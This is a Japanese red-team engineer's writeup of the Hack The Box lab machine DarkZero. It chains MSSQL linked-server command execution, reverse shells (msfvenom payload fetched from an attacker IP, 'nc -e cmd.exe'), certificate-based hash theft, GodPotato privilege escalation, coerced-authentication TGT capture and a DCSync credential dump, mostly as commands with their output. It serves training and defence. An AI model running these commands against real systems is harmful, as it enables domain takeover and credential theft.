
はじめに
プロフェッショナルサービス部の中村です。
RedTeamサービス、実際のサイバー攻撃手法を用いたセキュリティ体制の評価に関する業務を担当しています。また、サービスを高度化するため、日々のリサーチや技術研鑽も積極的に実施しています。
このブログでは、日々の技術研鑽として取り組んだ Hack the Box Machines DarkZero (Windows / Hard) の writeup を紹介します。なお、本記事で紹介されている攻撃手法を、許可なく第三者の資産へ対して実施することは禁止されています。
サマリ
Hack the Box Machines DarkZero (Windows / Hard) (Link) の攻略を解説します。この Machine では、john.w:RFulUtONCOL!という認証情報が予め与えられていて、主に以下の流れで侵害を達成します。
DC01の MSSQL サーバからリンクされたDC02の MSSQL サーバで任意のコマンドを実行DC02で、PKINIT 認証を利用し、svc_sqlの NTLM ハッシュを取得svc_sqlのパスワードをリセットし、ログオンセッションを確立svc_sqlのSeImpersonatePrivilegeを利用し、DC02の SYSTEM 権限へ昇格DC02へ Unconstrained Delegation が設定されていることを利用し、DC01の MSSQL サーバからDC02へ認証を強制し、DC01の TGT を取得DC01の TGT を取得できたため、侵害が完了
以降、攻撃の詳細な手順を説明します。
scanning the machine
まずは、nmap で tcp / udp の全てのポートをスキャンします。スキャンした結果から、このマシンが Domain Controller であること、つまり Active Directory (以下、AD) が動作していることや、ホスト名がDC01.darkzero.htbであることが分かります。 加えて、1433/tcpから Microsoft SQL Server 2022 が動作していることが分かります。これらの結果から、AD や MSSQL に関する攻撃を利用する可能性が高い、と推測します。
tcp
# Nmap 7.95 scan initiated Fri Oct 10 07:15:20 2025 as: /usr/lib/nmap/nmap -Pn -sS -sC -sV --min-rate 10000 -p53,88,135,139,389,445,464,593,636,1433,2179,3268,3269,5985,9389,49664,49666,49670,49671,49891,49911,49967 -oN darkzero.htb/scan_report_tcp.nmap darkzero.htb
Nmap scan report for darkzero.htb (10.129.242.172)
Host is up (2.9s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-10 05:15:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.129.242.172:1433:
| Target_Name: darkzero
| NetBIOS_Domain_Name: darkzero
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: darkzero.htb
| DNS_Computer_Name: DC01.darkzero.htb
| DNS_Tree_Name: darkzero.htb
|_ Product_Version: 10.0.26100
|_ssl-date: 2025-10-10T05:18:14+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-10T05:12:51
|_Not valid after: 2055-10-10T05:12:51
| ms-sql-info:
| 10.129.242.172:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after: 2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49891/tcp open msrpc Microsoft Windows RPC
49911/tcp open tcpwrapped
49967/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-10-10T05:17:30
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Fri Oct 10 07:18:24 2025 -- 1 IP address (1 host up) scanned in 183.77 secondsudp
# Nmap 7.95 scan initiated Fri Oct 10 07:18:59 2025 as: /usr/lib/nmap/nmap -Pn -sU -sC -sV --min-rate 10000 -p53,88,123,389 -oN darkzero.htb/scan_report_udp.nmap darkzero.htb
Nmap scan report for darkzero.htb (10.129.242.172)
Host is up (0.58s latency).
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-10 05:19:01Z)
123/udp open ntp NTP v3
| ntp-info:
|_
389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :
SF-Port53-UDP:V=7.95%I=7%D=10/10%Time=68E834E4%P=x86_64-pc-linux-gnu%r(DNS
SF:-SD,2E,"\\0\\0\\x80\\x82\\0\\x01\\0\\0\\0\\0\\0\\0\\t_services\\x07_dns-sd\\x04_udp\\x0
SF:5local\\0\\0\\x0c\\0\\x01")%r(NBTStat,32,"\\x80\\xf0\\x80\\x82\\0\\x01\\0\\0\\0\\0\\0\\0
SF:\\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\0\\0!\\0\\x01");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m08s
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Fri Oct 10 07:19:42 2025 -- 1 IP address (1 host up) scanned in 43.33 secondsinitial foothold
MSSQL サーバへのアクセスを試みたところ、予め与えられた認証情報 (john.w:RFulUtONCOL!) での認証が成功しました。
$ impacket-mssqlclient 'john.w:RFulUtONCOL!@darkzero.htb' -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (darkzero\\\\john.w guest@master)>MSSQL のリンクサーバを列挙したところ、DC02.darkzero.extへのリンクが設定されていることが分かりました。
SQL (darkzero\john.w guest@master)> SELECT * FROM sys.servers;
server_id name product provider data_source location connect_timeout query_timeout
--------- --------------------------------------------- ------------- ----------- ---------------------- -------- --------------- -------------
0 DC01\\\\SQLEXPRESS SQL Server SQLNCLI NULL NULL 0 0
1 DC02.darkzero.ext SQL Server SQLNCLI11 DC02.darkzero.ext NULL 0 0つまり、MSSQL のリンクサーバ機能を利用して、DC02.darkzero.ext上でコマンドを実行できる可能性があります。
リンクサーバ経由でDC02.darkzero.extへ接続し、xp_cmdshellを有効化しました。
SQL (darkzero\john.w guest@master)> EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]
SQL (darkzero\john.w guest@master)> EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]リンクサーバ経由でwhoamiコマンドを実行したところ、darkzero-ext\\\\svc_sqlとして実行できることが分かりました。
SQL (darkzero\john.w guest@master)> EXEC ('xp_cmdshell ''whoami''') AT [DC02.darkzero.ext]
output
--------------------------------------------------------------------------------
darkzero-ext\svc_sql
NULLmsfvenomでリバースシェルのペイロードを作成し、ターゲットへダウンロード、実行することで、svc_sqlとしてのシェルを取得できました。
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.18 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exeリンクサーバ経由でペイロードをダウンロードし、実行します。
SQL (darkzero\john.w guest@master)> EXEC ('xp_cmdshell ''powershell -c "iwr -uri <http://10.10.14.18:8000/shell.exe> -OutFile C:\Windows\Tasks\shell.exe"''') AT [DC02.darkzero.ext]
SQL (darkzero\john.w guest@master)> EXEC ('xp_cmdshell ''C:\Windows\Tasks\shell.exe''') AT [DC02.darkzero.ext]これにより、darkzero-ext\\\\svc_sqlとしてシェルを確立できました。
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.18] from (UNKNOWN) [10.129.242.172] 51234
Microsoft Windows [Version 10.0.20348.2762]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
darkzero-ext\svc_sqllateral movement
現在のセッションでは権限が制限されているため、RunasCs.exeによりインタラクティブなログオンセッションを作成します。インタラクティブなログオンセッションを作成するためにはsvc_sqlの平文パスワードを入手する必要があります。ここでは、AD CS により発行した証明書から NTLM ハッシュを入手し、パスワードをリセットすることで任意のパスワードを入手します。
Certify.exe を実行し、発行が可能な証明書を探索します。すると、User テンプレートの “Manager Approval Required” がFalseであるため、管理者の承認を必要とせず発行できることが分かります。
Template Name : User
Enabled : True
Publishing CAs : DC02.darkzero.ext\darkzero-ext-DC02-CA
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Certificate Name Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
Enrollment Flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
Manager Approval Required : False
Authorized Signatures Required : 0
Extended Key Usage : Client Authentication, Encrypting File System, Secure Email
Certificate Application Policies : <null>
Permissions
Enrollment Permissions
Enrollment Rights : darkzero-ext\Domain Admins S-1-5-21-1969715525-31638512-2552845157-512
darkzero-ext\Domain Users S-1-5-21-1969715525-31638512-2552845157-513
darkzero-ext\Enterprise Admins S-1-5-21-1969715525-31638512-2552845157-519
Object Control Permissions
Owner : darkzero-ext\Enterprise Admins S-1-5-21-1969715525-31638512-2552845157-519
Write Owner : darkzero-ext\Domain Admins S-1-5-21-1969715525-31638512-2552845157-512
darkzero-ext\Enterprise Admins S-1-5-21-1969715525-31638512-2552845157-519
Write Dacl : darkzero-ext\Domain Admins S-1-5-21-1969715525-31638512-2552845157-512
darkzero-ext\Enterprise Admins S-1-5-21-1969715525-31638512-2552845157-519
Write Property : darkzero-ext\Domain Admins S-1-5-21-1969715525-31638512-2552845157-512
darkzero-ext\Enterprise Admins S-1-5-21-1969715525-31638512-2552845157-519Certify.exeを利用して、svc_sqlのクライアント認証証明書を要求しました。
C:\Windows\Tasks>Certify.exe request --ca DC02.darkzero.ext\darkzero-ext-DC02-CA --template User
Certify.exe request --ca DC02.darkzero.ext\darkzero-ext-DC02-CA --template User
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \\ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\\_____\\___|_| \\__|_|_| \\__, |
__/ |
|___./
v2.0.0
[*] Action: Request a certificate
[*] Current user context : darkzero-ext\svc_sql
[*] No subject name specified, using current context as subject.
[*] Template : User
[*] Subject : CN=svc_sql, CN=Users, DC=darkzero, DC=ext
[*] Certificate Authority : DC02.darkzero.ext\\darkzero-ext-DC02-CA
[*] CA Response : The certificate has been issued.
[*] Request ID : 3
[*] Certificate (PFX) :
MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqhkiG9w0BBwGggCSABIID6DCCBVwwggVYBgsqhkiG9w0BDAoBAaCCBMIwggS+AgEAMA0GCSqGSIb3DQEBAQUABIIEqDCCBKQCAQAC
(snip)
Certify completed in 00:00:10.9907663発行された証明書を base64 でデコードします。この証明書を使用し、Rubeus.exe の asktgt で PKINIT 認証し、svc_sql の NTLM ハッシュを取得します。
C:\Windows\Tasks>Rubeus.exe asktgt /user:svc_sql /certificate:svc_sql.pfx /getcredentials
Rubeus.exe asktgt /user:svc_sql /certificate:svc_sql.pfx /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGT
[*] Got domain: darkzero.ext
[*] Using PKINIT with etype rc4_hmac and subject: CN=svc_sql, CN=Users, DC=darkzero, DC=ext
[*] Building AS-REQ (w/ PKINIT preauth) for: 'darkzero.ext\svc_sql'
[*] Using domain controller: ::1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGADCCBfygAwIBBaEDAgEWooIFFjCCBRJhggUOMIIFCqADAgEFoQ4bDERBUktaRVJPLkVYVKIhMB+g
(snip)
ServiceName : krbtgt/darkzero.ext
ServiceRealm : DARKZERO.EXT
UserName : svc_sql (NT_PRINCIPAL)
UserRealm : DARKZERO.EXT
StartTime : 1/5/2026 9:50:06 PM
EndTime : 1/6/2026 7:50:06 AM
RenewTill : 1/12/2026 9:50:06 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : nKmtnhWLL/qk9cWT95CADQ==
ASREP (key) : 4DDA12150EBE8FD730193F4EB280C896
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : 816CCB849956B531DB139346751DB65Fこれにより、svc_sql の NTLM ハッシュ816CCB849956B531DB139346751DB65Fを取得できました。NTLM ハッシュを使用して、svc_sql のパスワードを変更します。予め、chisel や ligolo-ng などを実行し、内部のホストである DC02.darkzero.ext からのトンネリングを確立します。
$ impacket-changepasswd darkzero.ext/svc_sql -hashes :816CCB849956B531DB139346751DB65F -newpass 'P@ssw0rd' -dc-ip 172.16.20.2
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Setting the password of darkzero.ext\svc_sql as P@ssw0rd
[*] Connecting to DCE/RPC as darkzero.ext\svc_sql
[*] Password was changed successfully.変更したパスワードで認証できることを確認しました。
$ netexec smb 172.16.20.2 -u svc_sql -p 'P@ssw0rd' -d darkzero.ext
SMB 172.16.20.2 445 DC02 [*] Windows Server 2022 Build 20348 x64 (name:DC02) (domain:darkzero.ext) (signing:True) (SMBv1:False)
SMB 172.16.20.2 445 DC02 [+] darkzero.ext\svc_sql:P@ssw0rdよって、RunasCs.exe を利用して、新たなセッションを作成します。
C:\Windows\Tasks>RunasCs.exe svc_sql P@ssw0rd powershell -r 10.10.17.158:1339 -l 5 -b
RunasCs.exe svc_sql P@ssw0rd powershell -r 10.10.17.158:1339 -l 5 -b
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-2984c$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 3324 created in background.セッションを作成した後、svc_sql の権限を確認すると SeImpersonatePrivilege 権限が有効化されていました。
$ nc -nlvp 1339
listening on [any] 1339 ...
connect to [10.10.17.158] from (UNKNOWN) [10.129.242.209] 57381
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! <https://aka.ms/PSWindows>
PS C:\Windows\system32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabledprivilege escalation on DC02.darkzero.ext
SeImpersonatePrivilege 権限を悪用することで、SYSTEM へ権限昇格できます。今回は GodPotato を利用しました。
PS C:\Users\svc_sql\Downloads> .\GodPotato-NET4.exe -cmd "C:\Users\svc_sql\Downloads\nc.exe 10.10.17.158 1339 -e cmd.exe"
.\GodPotato-NET4.exe -cmd "C:\Users\svc_sql\Downloads\nc.exe 10.10.17.158 1339 -e cmd.exe"
[*] CombaseModule: 0x140735629819904
[*] DispatchTable: 0x140735632406856
[*] UseProtseqFunction: 0x140735631702192
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\3acb7896-7e40-47a7-99ac-96040111c8cf\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000dc02-0288-ffff-354b-73d5ea72d271
[*] DCOM obj OXID: 0x6a280e28fa41222b
[*] DCOM obj OID: 0xc242eabdf73433d0
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 1020 Token:0x720 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1900GodPotatoにより、SYSTEM 権限へ昇格し、コマンドを実行できることが確認できました。これを利用して、侵害済みの svc_sql をローカルの Administrators グループへ追加します。
PS C:\Users\svc_sql\Downloads> .\GodPotato-NET4.exe -cmd "net localgroup Administrators /add svc_sql"Administratorsグループのメンバを確認すると、svc_sqlが追加されていることが分かります。
PS C:\Users\svc_sql\Downloads> net localgroup Administrators
net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
svc_sql
The command completed successfully.privilege escalation on DC01.darkzero.htb
DC02.darkzero.ext はドメインコントローラであるため、Unconstrained Delegation が有効化されています。Unconstrained Delegation が有効化されている場合、そのコンピュータへ認証したユーザの TGT がそのコンピュータのメモリへ保存されます。つまり、DC01 から DC02 への認証を誘発し、DC02 のメモリから TGT を窃取することで、DC01 の TGT を窃取できる可能性があります。
まず、Rubeus.exe monitorを実行し、DC02 へ新たに保存される TGT を監視します。
*Evil-WinRM* PS C:\Users\svc_sql\Documents> .\Rubeus.exe monitor /interval:5 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: TGT Monitoring
[*] Monitoring every 5 seconds for new TGTs次に、MSSQL で xp_dirtree を実行し、DC01 から DC02 への認証を誘発します。
SQL (darkzero\john.w guest@master)> EXEC ('xp_cmdshell ''xp_dirtree \\DC02.darkzero.ext\share''') AT [DC02.darkzero.ext]Rubeus.exe monitor の出力を確認すると、DC01$@DARKZERO.HTB の TGT が取得できていることが分かります。
[*] 10/13/2025 1:25:47 AM UTC - Found new TGT:
User : DC01$@DARKZERO.HTB
StartTime : 10/13/2025 1:25:38 AM
EndTime : 10/13/2025 11:25:38 AM
RenewTill : 10/20/2025 1:25:38 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFuj[...省略...]取得した TGT を ticket.kirbi として保存し、impacket-ticketConverter で ccache 形式へ変換します。
$ impacket-ticketConverter ticket.kirbi ticket.ccache
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done変換した TGT を利用して、DC01 のマシンアカウントとして認証し、DCSync 攻撃などの高権限操作が可能になります。
$ export KRB5CCNAME=ticket.ccache
$ impacket-secretsdump -k DC01.darkzero.htb -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
darkzero.htb\\\\john.w:1104:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d1f87b7e8f0d1a7c8d4f4a8e7b3c2d1e:::
[*] Cleaning up...これにより、DC01.darkzero.htbを侵害でき、darkzero.htb ドメインの完全な侵害に成功しました。
おわりに
以上、Hack the Box Machines DarkZero の writeup を紹介しました。
MSSQL のコマンドの実行から始まり、ローカルで権限昇格しつつ、ドメインの信頼関係と Unconstrained Delegation の設定を悪用する、という面白いマシンでした。特に、ドメインコントローラを侵害し、信頼関係を構築したドメインのユーザやコンピュータの認証を強制することで侵害する、という攻撃方法は実環境でも十分にありうる、と感じました。
今後も Hack the Box Machines を通じて技術研鑽に取り組み続け、RedTeamサービスの業務へ活かしていきます。

